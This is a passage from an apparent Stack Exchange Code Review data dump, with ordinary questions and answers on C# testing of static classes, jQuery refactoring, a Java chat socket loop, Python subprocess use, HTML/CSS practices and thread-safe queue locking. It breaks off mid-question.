"body": "<p>Personally <a href=\"https://stackoverflow.com/questions/1331090/why-does-oracleparameter-implement-icloneable-but-doesnt-provide-clone\">I've found explicitly implementing interfaces to be a world of hurt</a> with difficult to track down bugs and odd debug views.</p>\n\n<p>The Simplest solution (and the best one IMO when the method doesn't access or modify state):</p>\n\n<pre><code>public class HelperClass\n{\n internal static Action<bool> returnSomethingImpl = () => {\n return true;\n }\n public static bool ReturnSomething() { return returnSomethingImpl(); }\n}\n</code></pre>\n\n<p>then in your AssemblyInfo.cs</p>\n\n<pre><code>[assembly:InternalsVisibleTo('MyTestDllNameWithoutTheDll')]\n</code></pre>\n\n<p>and just stub it out in your test however you want:</p>\n\n<pre><code>HelperClass.returnSomethingImpl = () => {\n calls.Add(\"returnSomethingImpl called\");\n return false;\n}\n</code></pre>\n\n<p>If you ARE reading/writing state then a singleton would probably serve best</p>\n\n<pre><code>public class HelperClass : IHelperClass\n{\n IHelperClass _instance;\n public IHelperClass Instance \n {\n get {\n if(_instance == null) Instance = new HelperClass();\n return _instance;\n } \n set { _instance = value }\n } \n public static bool ReturnSomething() { return Instance.Value.ReturnSomething(); }\n}\n</code></pre>\n\n<p>The only option that will allow you not to change ANY of the existing code at all is to use a super-powered mocking framework like <a href=\"http://www.typemock.com/isolator-product-page\" rel=\"nofollow noreferrer\">Typemock Isolator</a> (or Moles) which can mock out just about anything, including statics.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T15:01:24.053",
"Id": "16539",
"Score": "0",
"body": "Unfortunately i can not use Typemock. We do use the `Moq` framework. The static class is indeed reading / writing state. Therefore it should have been implemented as a singleton. Great review."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T10:59:23.587",
"Id": "10364",
"ParentId": "10359",
"Score": "1"
}
},
{
"body": "<p>I happen to like your fix for making it testable, but would reverse the implementation order between the <code>static</code> method and the explicit <code>interface</code> method. This will allow you to slowly change existing code first to use the Singleton instead of the static and then finally use an injectable pattern:</p>\n\n<pre><code>public interface IHelperClass\n{\n bool ReturnSomething();\n}\n\npublic sealed class HelperClass : IHelperClass\n{\n private static readonly IHelperClass instance = new HelperClass();\n\n private HelperClass()\n {\n }\n\n public static IHelperClass Instance\n {\n get\n {\n return instance;\n }\n }\n\n [Obsolete(\"Use the Instance singleton's implementation instead of this static method.\")]\n public static bool ReturnSomething()\n {\n return Instance.ReturnSomething(); // Simply calls the Singleton's instance of the method.\n }\n\n bool IHelperClass.ReturnSomething()\n {\n return true; // The original static ReturnSomething logic now goes here.\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T07:14:39.970",
"Id": "16562",
"Score": "1",
"body": "Thank you! That was indeed one of my requirements; to be able to slowly change existing code (as a lot depends on it). I have already applied my refactoring, but I will note this solution for future problems!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:05:53.700",
"Id": "16602",
"Score": "3",
"body": "I like the use of the Obsolete attribute in this situation."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T16:12:02.830",
"Id": "10371",
"ParentId": "10359",
"Score": "12"
}
}
] |
{
"AcceptedAnswerId": "10371",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T07:11:24.907",
"Id": "10359",
"Score": "13",
"Tags": [
"c#",
"unit-testing",
"static"
],
"Title": "Unit testing legacy code with static classes"
}
|
10359
|
<p>What is the best way to refactor the following script?</p>
<pre><code><script type="text/javascript">
$(document).ready(function() {
$(".rolesList").hide();
});
$("#legendFunction").click(function() {
$("#divChkUserRoles").toggle('slow');
var text = $("#lblExpandFunction").text() == '+' ? '-' : '+';
$("#lblExpandFunction").text(text);
})
$("#legendMISheet").click(function() {
$("#divChkUserRolesMISheet").toggle('slow');
var text = $("#lblExpandMISheet").text() == '+' ? '-' : '+';
$("#lblExpandMISheet").text(text);
})
</script>
</code></pre>
<p>The above script will be applied to the following HTML and ASP.NET code:</p>
<pre><code> <fieldset>
<legend><span id="legendFunction" style="cursor: pointer" title="Click here to toggle show or collapse Function.">
<label id="lblExpandFunction" style="padding: 5px;">+</label>
KengLink Function
</span></legend>
<div id="divChkUserRoles" class="rolesList">
<asp:CheckBoxList ID="UserRoles" runat="server" />
</div>
</fieldset>
<fieldset>
<legend><span id="legendMISheet" style="cursor: pointer" title="Click here to toggle show or collapse MI Sheet.">
<label id="lblExpandMISheet" style="padding: 5px;">+</label>
MI Sheet
</span></legend>
<div id="divChkUserRolesMISheet" class="rolesList">
<asp:CheckBoxList ID="UserRolesMISheet" runat="server" />
</div>
</fieldset>
</code></pre>
|
[] |
[
{
"body": "<p>Don't use ids at all. (You almost never should be using them. Ids get to be really problematic once you have composite views and/or multiple people on a project)</p>\n\n<p>Place a few appropriate classes in your html. And use the jquery composite and relative references to do it all at once.</p>\n\n<pre><code>$('.expander').click(function() {\n $(this).closest('fieldset').find('.expandable').toggle('show');\n var l = $(this).find('label');\n l.text(l.text() === '+' ? '-' : '+');\n});\n</code></pre>\n\n<p>where your clicker span gets a class of <code>expander</code> and your <code>rolesList</code> gets the class of <code>expandable</code>. You could just use <code>rolesList</code> directly, but I find <code>expandable</code> to be somewhat more descriptive.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T15:28:25.887",
"Id": "16541",
"Score": "0",
"body": "Skillful solution, anyway, Why class not be a problematic as id too."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T19:49:17.463",
"Id": "16549",
"Score": "1",
"body": "@SarawutPositwinyu many libraries assume that only one instance of an id exists on a page. Once you start composing views or having multiple people its too easy to put several of the same ids on one page and get really weird errors. With classes you have to assume that there is more than one and you have to take that into account. Also, the fact that you can have multiple classes on an instance usually guides people to give things more meaningful names."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T03:22:38.783",
"Id": "16556",
"Score": "0",
"body": "Thx, Oh class name should be '.expandable' instead of 'expandable' (in the code)."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T10:49:15.660",
"Id": "10363",
"ParentId": "10361",
"Score": "3"
}
},
{
"body": "<p>In addition to George solution, you can also use <code>on()/off()</code> event API rather then using <code>click()</code>, on/off much faster then other jQuery event handlers.</p>\n\n<p>And rather then calling <code>anonymous function</code> inside <code>click()</code>, use named function to debug it easily later on, it's always better to write the JavaScript code in chunks/modules for the sake of modularity.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-28T05:21:55.187",
"Id": "12113",
"ParentId": "10361",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10363",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T10:00:09.593",
"Id": "10361",
"Score": "3",
"Tags": [
"javascript",
"jquery",
"form",
"animation"
],
"Title": "Expandable text boxes for legends of fieldsets"
}
|
10361
|
<p>I'm working on chat client for mobile devices, and I need to get new messages from server as fast, as possible and, if it possible, keep battery alive.</p>
<p>I've created such class, that listens for server on it's own thread. Here is <code>run</code> method of <code>Thread</code>:</p>
<pre><code>@Override
public void run(){
try{
//actually these lines defined in constructor
String address="127.0.0.1";
int port=46969;
int reconnectInterval=15000;
int interval=1000;
Socket socket;
//--- constructor's end
SocketAddress addr=new InetSocketAddress(address, port);
InputStream is=null;
OutputStream os=null;
ByteBuffer buf=ByteBuffer.allocate(2048);
int beat=0;
while(!interrupted()){
//if socket not created - create it
//if socket not connected - connect it
if(socket==null || !socket.isConnected()){
socket=new Socket();
while(!socket.isConnected()){
try{
socket.connect(addr,reconnectInterval);
}catch(IOException e){
Log.d("AppLog", "Can't connect to socket. Reconnecting...");
socket=new Socket(); //recreate socket (if connection failed)
sleep(reconnectInterval);
}
continue;
}
try{
is=socket.getInputStream(); //open socket streams
os=socket.getOutputStream();
}catch(IOException e){
Log.d("AppLog","Can't open socket streams - IOException");
interrupt();
break;
}
Log.d("AppLog", "Socket connected");
}
while(socket.isConnected()){
sleep(interval);
//send heart beats to socket to check connection
beat++;
if(beat>30)
try{
os.write(1);
}catch(IOException e){
Log.d("AppLog", "Can't send heartbeat");
socket=null;
break;
}finally{
beat=0;
}
//read from socket
try{
if(is.available()>0 && buf.remaining()>0){
while(is.available()>0 && buf.remaining()>0)
buf.put((byte) is.read());
}else if(buf.position()>0){
get(extractBytes(buf));
buf.clear();
}else buf.clear();
}catch(IOException e){
Log.d("AppLog", "Can't read from socket - IOException");
}
}
}
}catch(InterruptedException e){
Log.d("AppLog", "Interrupted exception has occured");
}
}
</code></pre>
<p>Questions:</p>
<p>1) Would <code>sleep</code> method save resources (and battery)?</p>
<p>2) Is it efficient way, to read from socket and keep connection alive?</p>
|
[] |
[
{
"body": "<p>I'm not sure about your first question - I've never programmed on a mobile device where power was an issue.</p>\n\n<p>In answer to your second question, one of the options for sockets that is contained in the specification for TCP/IP is SO_KEEPALIVE. When this is set to true, the internal socket mechanism takes care of keeping the connection alive so that you don't have to worry about heart beats or anything like that. The Socket class has accessors for SO_KEEPALIVE.</p>\n\n<p>Also, you need to seriously refactor this code and extract out the two meaningful parts into functions (one does the connecting, one the R/W). As it is the code is too long and complicated to be able to easily follow the logic.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:31:06.100",
"Id": "16534",
"Score": "0",
"body": "First question: and how about saving proccessor time? Thanks."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:45:05.570",
"Id": "16536",
"Score": "0",
"body": "Using sleep in code where you're waiting for I/O to occur is a commonly used technique to prevent thrashing. On the other hand, thinking about performance issues when you don't even know if you HAVE any performance problems is usually a Bad Idea (look up Premature Optimization)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:54:19.253",
"Id": "16537",
"Score": "0",
"body": "Thanks. Unfortunately I don't know is there any perfomance problems or not, because application can work on different configurations."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:07:23.257",
"Id": "10367",
"ParentId": "10365",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "10367",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T12:01:09.797",
"Id": "10365",
"Score": "6",
"Tags": [
"java"
],
"Title": "Socket listener for chat client"
}
|
10365
|
<p>I'm doing a side project at work and I consider it as a learning opportunity more than work itself, but it does hold a purpose if I can complete it. Anyway, I'll post the code, what it actually does and hopefully people can critique/improve what I've done.</p>
<pre><code>os.system("bjobs -u all| awk ' NF>1' > file")
lines = open('file', 'r').readlines()
del lines[0]
open('file', 'w').writelines(lines)
source = open("file")
out = open("file1", "w")
for line in source:
out.write(line.split(" ")[0] + "\n")
out.close()
source.close()
</code></pre>
<p>This code does 2 parts. Firstly the <code>bjobs -u all| awk ' NF>1' > file</code> will print this to a file (plus however many jobs are running):</p>
<blockquote>
<pre><code>JOBID USER STAT QUEUE FROM_HOST EXEC_HOST JOB_NAME SUBMIT_TIME
111111 ###### ### ### ###### comp113 ######## Mar 27 12:50
comp113
comp113
comp113
222222 ###### ### ### ###### comp114 ######## Mar 27 12:50
comp114
comp114
comp114
</code></pre>
</blockquote>
<p>Then remove the first line of the file ("JOBID USER STAT" etc) as this isn't needed.</p>
<p>Then strip the additional "comp113" lines away (this is done using the <code>awk</code> command to remove any lines that don't contain more than 1 field - maybe it's a bad idea mixing shell commands to format text within Python) leaving just:</p>
<blockquote>
<pre><code>111111 ###### ### ### ###### comp113 ######## Mar 27 12:50
222222 ###### ### ### ###### comp114 ######## Mar 27 12:50
</code></pre>
</blockquote>
<p>From this, extract just the JOBID and store it within a separate file for later use (this is done by deleting any characters after the first whitespace in the line).</p>
<p>Mainly I'm just looking at maybe how I can tidy the code up and improve on anything I've done. I do plan on commenting the code when I get around to it. Anything that I've left unexplained please do ask and I'll do my best to explain. There is a lot more to this project which I plan on asking questions about in the future! Just didn't want to get ahead of myself.</p>
|
[] |
[
{
"body": "<p><strong>I'm having a major doubt:</strong> should I give you the same advice I gave you the last time <a href=\"https://stackoverflow.com/a/9806512/1132524\">here</a>? Would you follow them this time? Or there was something not clear?</p>\n\n<p>Well, I'll try my best.</p>\n\n<h2>Don't use <a href=\"http://docs.python.org/py3k/library/os.html#os.system\" rel=\"nofollow noreferrer\"><code>os.system</code></a></h2>\n\n<p>Use the <a href=\"http://docs.python.org/py3k/library/subprocess.html#module-subprocess\" rel=\"nofollow noreferrer\"><code>subprocess</code></a> module. Quoting from the <a href=\"http://docs.python.org/py3k/library/subprocess.html#module-subprocess\" rel=\"nofollow noreferrer\">doc</a>: </p>\n\n<blockquote>\n <p>This module intends to replace several other, older modules and functions, such as:</p>\n\n<pre><code>os.system\nos.spawn*\n</code></pre>\n</blockquote>\n\n<h2>Use <a href=\"http://docs.python.org/py3k/library/functions.html#next\" rel=\"nofollow noreferrer\"><code>next()</code></a> to skip the header</h2>\n\n<p>file ibjects are iterable, so to skip the header usually one does:</p>\n\n<pre><code>with open('example.txt') as f:\n next(f)\n for line in f:\n # start to work on the lines here\n</code></pre>\n\n<p>But I'd say that you won't need that one if you don't really need to have the file <code>file</code> on your hard disk.</p>\n\n<h2>Check the output</h2>\n\n<p>It seems that you don't really need the file <code>file</code> to exist, so you could just check the output of your command with <a href=\"http://docs.python.org/py3k/library/subprocess.html#subprocess.check_output\" rel=\"nofollow noreferrer\"><code>subprocess.check_output()</code></a>. </p>\n\n<p>Notice that <code>subprocess.check_output()</code> will <em>Run command with arguments and return its output <strong>as a byte string</strong></em>. So you'll have to call the <a href=\"http://docs.python.org/py3k/library/stdtypes.html#bytes.decode\" rel=\"nofollow noreferrer\"><code>.decode()</code></a> method on it. If you don't have any idea of what I'm talking about take a look at the doc <a href=\"http://docs.python.org/py3k/library/stdtypes.html#sequence-types-str-bytes-bytearray-list-tuple-range\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<h2>Use the <code>with</code> statement</h2>\n\n<pre><code>with open(\"file1\", \"w\") as output:\n # ...\n</code></pre>\n\n<h2><code>.split()</code> vs. <code>.split(\" \")</code></h2>\n\n<p>Those two have different behaviours:</p>\n\n<pre><code>>>> s = 'This is a test\\tstring'\n>>> s.split()\n['This', 'is', 'a', 'test', 'string']\n>>> s.split(\" \")\n['This', 'is', '', '', '', '', '', '', '', 'a', 'test\\tstring']\n</code></pre>\n\n<p><code>.split()</code> will split multiple spaces and tabs too.</p>\n\n<h2>You don't need <code>awk</code></h2>\n\n<p>After checking the output just skip the line that you don't want:</p>\n\n<pre><code>cmd_output = subprocess.check_call(...).decode()\nwith open('file1.txt') as output_file:\n for line in cmd_outpu.split('\\n')[1:]: # [1:] will skip the header\n splitted_line = line.split()\n if len(splitted_line) > 1:\n output_file.write(splitted_line[0] + '\\n')\n</code></pre>\n\n<p>You could obviously do it without decoding and working with bytes, but this way it's more clear to start with.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T15:38:52.300",
"Id": "16543",
"Score": "0",
"body": "I literally only used your previous answer to finish the problem I was having (which you did thank you). Now I'm looking to tidy my code up (funnily I found this website through your profile) and was already applying some comments in your previous answer and now you've gave me some more help so I do appreciate your effort! I can post the rest of the code if it'll help make sense of what I'm trying to do. Thanks again."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T20:18:07.317",
"Id": "16550",
"Score": "0",
"body": "@AshleyJohnKent: Happy to help :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:43:37.907",
"Id": "10370",
"ParentId": "10366",
"Score": "7"
}
}
] |
{
"AcceptedAnswerId": "10370",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T13:21:52.977",
"Id": "10366",
"Score": "5",
"Tags": [
"python",
"console"
],
"Title": "Job queue system"
}
|
10366
|
<p>I've been using CSS and HTML for a while and I'm trying to start to use better methods of coding. I've tried my best not to hack anything. Could anyone let me know how I'm doing at the moment in terms of using things which are better practice?</p>
<p>Please note - I've taken some image names and comments out to protect the privacy of this project, as it's still a work in progress. I hope this won't affect any reviews!</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="false" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>*,p
{
margin:0;
padding:0;
}
html
{
background:#517c24 url(images/backgroundHTML.jpg) no-repeat top center;
}
body
{
font-family:"HelveticaNeue", "Helvetica Neue", Helvetica, Arial, sans-serif;
background:url(images/backgroundBody.png) repeat-x top left;
}
.clear
{
clear:both;
}
#container
{
background:#fff url(images/header.jpg) no-repeat top left;
width:960px;
overflow:auto;
-webkit-box-shadow:0 0 5px 2px rgba(0, 0, 0, 0.3);
-moz-box-shadow:0 0 5px 2px rgba(0, 0, 0, 0.3);
box-shadow:0 0 5px 2px rgba(0, 0, 0, 0.3);
margin:0 auto;
}
.login-search
{
float:right;
text-align:right;
width:210px;
height:70px;
font-size:13px;
color:#6e7074;
margin:30px 10px;
}
.login-search a
{
text-decoration:none;
color:#6e7074;
}
.login-search p
{
margin:5px 0;
}
input
{
border:1px solid #ccc;
outline:none;
-moz-border-radius:2px;
-webkit-border-radius:2px;
border-radius:2px;
color:#777;
margin-bottom:10px;
padding:6px 4px;
}
.float
{
float:right;
width:356px;
height:335px;
clear:both;
margin:30px 20px 0;
}
.inner-wrap
{
margin-top:300px;
}
.navigation
{
width:230px;
height:300px;
background-color:#e5e5e5;
float:left;
margin:0 30px;
padding:5px;
}
.design-your-own
{
height:110px;
width:250px;
max-width:250px;
background-color:#596f86;
float:left;
}
.se
{
height:70px;
width:250px;
max-width:250px;
border-top:1px solid #000;
border-bottom:1px solid #000;
float:left;
margin:10px 0;
}
.brand-contain
{
width:600px;
max-width:600px;
float:left;
margin-top:10px;
position:relative;
}
.many-brands
{
background-color:#ab1322;
height:110px;
width:250px;
max-width:250px;
float:left;
}
.brand-contain img
{
margin-top:-80px;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title></title>
<link rel="stylesheet" type="text/css" href="stylesheet.css" />
</head>
<!--- start body --->
<body>
<!--- start container --->
<div id="container">
<!--- login and search box --->
<div class="login-search">
<p><a href="login.cfm">Login</a> / <a href="register.cfm"> Register </a></p>
<p><input type="text" name="search" id="search" style="width: 100px;" /></p>
</div>
<!------>
<!--- image --->
<div class="float">
<img src="images/img.png" width="356" height="335" />
</div>
<!------>
<div class="inner-wrap">
<!--- left column, so navigation and contact link --->
<div class="left-column">
<!--- navigation bar --->
<div class="navigation">
<ul>
<li>Home</li>
<li>Standard</li>
<li>Special</li>
<li>Design your own</li>
<li>About us</li>
<li>Contact us</li>
<li>Order help</li>
<li>Shipping service</li>
<li>Terms &amp; Conditions</li>
<li>Shipping Information</li>
<li>Testimonials</li>
</ul>
</div>
<!------>
</div>
<!------>
<!--- 3 main buttons on homepage --->
<div class="middle-content">
<!--- design --->
<a href="design-your-own.cfm">
<div class="design-your-own">
Design your own >
</div>
</a>
<!------>
<!--- comment --->
<a href="">
<div class="se">
Text Text! >
</div>
</a>
<!------>
<!--- many brands! --->
<a href="design-your-own.cfm" >
<div class="brand-contain">
<div class="many-brands">
Many brands >
</div>
<img src="images/selectManyBrands.png" border="0" />
</div>
</a>
<!------>
</div>
<!------>
<div class="clear"></div>
<p>More text ></p>
</div>
<!------>
</body>
<!------>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.shadow-animation/1.11.0/jquery.animate-shadow-min.js"></script>
<script>
$('#search')
.focusin(function() {$('#search').animate({
width: '200',
boxShadow: '0 0 3px rgba(0,0,0,.4)'
}, 300)
.focusout(function() {$('#search').animate({
width: '100',
boxShadow: '0 0 0 rgba(0,0,0,0)'
}, 300)
});
});
</script>
</html></code></pre>
</div>
</div>
</p>
|
[] |
[
{
"body": "<p>This code seem nice to me although they are certain things that I would do differently. </p>\n\n<p>First I don't understand why you've put you jquery script at the end. I always put my script at the beginning in the head so that my script are loaded before my content. If there is javascript that needs to be loaded after the DOM is fully loaded, for example your focusin, focusout methods, I put in the jquery ready function like that :</p>\n\n<pre><code>$(function () {\n // Your code here\n}\n</code></pre>\n\n<p>which is short for</p>\n\n<pre><code>$.ready(function () {\n // Your code here\n}\n</code></pre>\n\n<p>That way, your JS is not far away at the bottom at the page. Maybe you have a reason and I make a mistake.</p>\n\n<p>Second you've created a float class so why don't you use it directly on the <code>img</code> ?</p>\n\n<pre><code><img class=\"float\" ...... />\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code><div class=\"float\"><img .... /></div>\n</code></pre>\n\n<p>A part from that, your code is very readable and also commented so I don't see many other remarks.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:43:47.877",
"Id": "16535",
"Score": "0",
"body": "Thanks! :-) It's just a practice of mine to put jQuery at the end of the page. I don't think it affects page loading times too much, and yeah - it was at the bottom like that so it doesn't fire before the DOM loads, not that it ever would due to it being based on Event Handlers."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T15:08:02.217",
"Id": "16540",
"Score": "4",
"body": "It is considered a good practise to put script elements at the bottom of the page, concerning page load time; because browser will block parallel downloads while downloading a script element."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T09:15:57.200",
"Id": "16645",
"Score": "0",
"body": "Ok my mistake. I learned something :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:30:06.627",
"Id": "10369",
"ParentId": "10368",
"Score": "1"
}
},
{
"body": "<p>Depending on the size of your project, module/API reliance I would load jquery in the [head] section through google's CDN. This way if you need to use any Google API (charts,analytics) down the line the script already is loaded. <a href=\"https://developers.google.com/loader/\" rel=\"nofollow\">Loader</a></p>\n\n<p><strong>Script loading</strong></p>\n\n<pre><code><script src=\"https://www.google.com/jsapi\"></script>\n<script>\n google.load(\"jquery\", \"1.7.1\");\n google.load(\"jqueryui\", \"1.8.4\");\n\n // somewhere down the line I decide I want to use \n // google charts\n google.load(\"visualization\", \"1\");\n</script>\n</code></pre>\n\n<p>Some 3rd party slider scripts function better when the script is loaded in the [head] section, I find. Some common problems, screen flicker, page jumps.</p>\n\n<p><strong>Htaccess</strong></p>\n\n<p>I would move [<code>http-equiv</code>] to .htaccess file</p>\n\n<blockquote>\n <p>Use the .htaccess and remove these lines to avoid edge case issues. -\n html5boilerplate</p>\n</blockquote>\n\n<pre><code><IfModule mod_headers.c>\n Header set X-UA-Compatible \"IE=Edge,chrome=1\"\n\n <FilesMatch \"\\.(js|css|gif|png|jpe?g|pdf|xml|oga|ogg|m4a|ogv|mp4|m4v|webm|svg|svgz|eot|ttf|otf|woff|ico|webp|appcache|manifest|htc|crx|oex|xpi|safariextz|vcf)$\" >\n Header unset X-UA-Compatible\n </FilesMatch>\n</IfModule>\n</code></pre>\n\n<p><strong>Resets</strong></p>\n\n<p>Use resets like twitter-bootstrap, html5boilerplate</p>\n\n<p><code>*{}</code> is considered bad practice\nYou could get away with it in this context</p>\n\n<pre><code>*{\n background-color: white !important;\n color: black !important;\n}\n</code></pre>\n\n<blockquote>\n <p>.float</p>\n</blockquote>\n\n<p>This seems a little strange to me. I wouldn't add a height/width on this class. maybe you should re-name this class to something more specific.\n Float to me represents a floating element, not a specific element such as you wrapping your img tag inside.</p>\n\n<pre><code>.float_rt{\n float:right;\n clear:right;\n} \n</code></pre>\n\n<p><strong>Typography</strong></p>\n\n<p>It does not look like you have styling specific to typography. \nConsider using rules such as <code>line-height, font, letter-spacing</code> on the body/relevant tags</p>\n\n<pre><code>body{\n font: normal 64.5% sans-serif;\n line-height: 1.5;\n color:#585858;\n}\nh1,h2,h3,h4,h5,h6{\n font: bold 100% sans-serif;\n margin-bottom:18px;\n letter-spacing:-1px;\n}\np{\n margin-bottom:18px;\n line-height:1.6;\n font-size:1.3em;\n} \n</code></pre>\n\n<p><strong>Clears</strong></p>\n\n<p>consider this common clearfix example</p>\n\n<pre><code>.clear{\n display: block;\n}\n.clear:after{\n content: ' ';\n visibility: hidden;\n height:0;\n clear:both;\n}\n</code></pre>\n\n<p>Or just use the after pseudo on each element you want cleared.</p>\n\n<pre><code>.naviagtion:after{\n content: ' ';\n visibility: hidden;\n height:0;\n clear:both;\n display:block;\n}\n</code></pre>\n\n<p><strong>Navigation menu</strong></p>\n\n<p>You should really wrap your li content in anchor tags to help search engines follow them.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T08:45:04.407",
"Id": "16563",
"Score": "0",
"body": "Thanks Philip, all comments have been taken into account! I also never knew about the `:after` selector! It makes my code look cleaner because I dont have to have `<div class=\"clear\">` everywhere!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T16:44:07.500",
"Id": "10372",
"ParentId": "10368",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:07:24.430",
"Id": "10368",
"Score": "7",
"Tags": [
"javascript",
"jquery",
"html",
"css",
"e-commerce"
],
"Title": "Front page for an e-commerce website, with a simple animation for the search field"
}
|
10368
|
<p>I have this <code>Queue</code> declared in my class:</p>
<pre><code>static private Queue<SignerDocument> QUEUE = new Queue<SignerDocument>();
</code></pre>
<p>I fill this <code>Queue</code> with some items to process, and I want to process it using multithreading.</p>
<p>Did I need to use lock in this case, to ensure that <code>QUEUE.Dequeue</code> is thread-safe?</p>
<pre><code>static protected void ThreadProcManager()
{
lock (typeof(Queue<SignerDocument>))
{
if (QUEUE.Count > 0)
{
ThreadPool.QueueUserWorkItem(ThreadProc, QUEUE.Dequeue());
}
}
}
static private void ThreadProc(Object stateInfo)
{
//Do the work...
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T17:33:40.077",
"Id": "16600",
"Score": "1",
"body": "Is there a reason you are using a queue object to buffer work items for ThreadPool.QueueUserWorkItem (which is itself a queue)? The most intuitive behavior would be to perform the ThreadPool.QueueUserWorkItem call immediately where you would currently be doing a QUEUE.Enqueue call. If for some reason you do need this batching behavior, you really need to write a wrapper class for Queue which locks all access calls, such as Count, Peek, Enqueue, Dequeue, etc."
}
] |
[
{
"body": "<p>Yes, and don't lock on <code>typeof</code> - <a href=\"https://stackoverflow.com/a/1603044/3312\">highly unrecommended</a>. Also you'll need to lock whatever's adding to the <code>QUEUE</code> so that the multithreaded <code>Dequeue()</code> does not race against it.</p>\n\n<pre><code>static protected void ThreadProcManager()\n{ \n lock (QUEUE)\n {\n if (QUEUE.Count > 0)\n {\n ThreadPool.QueueUserWorkItem(ThreadProc, QUEUE.Dequeue());\n }\n }\n}\n\n static private void ThreadProc(Object stateInfo)\n {\n //Do the work...\n }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T17:26:26.433",
"Id": "10374",
"ParentId": "10373",
"Score": "4"
}
},
{
"body": "<p><code>Queue.Dequeue()</code> is not threadsafe, so you need to lock it if it's called from multiple threads. </p>\n\n<p>However, there's not enough information here to say for sure whether a lock is required in this particular case. The call to <code>QUEUE.Dequeue()</code> is not done from a ThreadPool worker, it's done in the <code>ThreadProcManager()</code> function. So the question is really whether you call ThreadProcManager(), or any of the other methods on <code>QUEUE</code>, from multiple threads.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T18:37:42.237",
"Id": "10470",
"ParentId": "10373",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10374",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T17:19:38.477",
"Id": "10373",
"Score": "4",
"Tags": [
"c#",
"multithreading",
".net",
"thread-safety",
"queue"
],
"Title": "Multithreaded item-processing queue"
}
|
10373
|
<p>I've created a sliding panel menu that works (<a href="http://jsfiddle.net/stephmoreland/3BT7t/" rel="nofollow noreferrer">JSFiddle</a>), but I can't wrap my head around shortening the jQuery for it. Right now, when you click one of the links on the left, I wanted it to show that link's <code>div</code> and hide the others, which I've done, but I don't understand how I can make it more efficient. I'd like any "shown" <code>div</code>s to be hidden and then show the <code>div</code> associated to that link.</p>
<p><strong>HTML</strong></p>
<pre><code> <div id="work">
<ul id="gallery">
<li><a href="javascript:;" class="toggleWidth1">RETAIL</a></li>
<li><a href="javascript:;" class="toggleWidth2">HEALTH CARE</a></li>
<li><a href="javascript:;" class="toggleWidth3">POWER &amp; INFRASTRUCTURE</a></li>
<li><a href="javascript:;" class="toggleWidth4">MANUFACTURING</a></li>
<li><a href="javascript:;" class="toggleWidth5">FOOD &amp; BEVERAGE</a></li>
<li><a href="javascript:;" class="toggleWidth6">CULTURAL &amp; COMMUNITY</a></li>
</ul>
<div id="workDiv">
<div id="workDiv_retail">
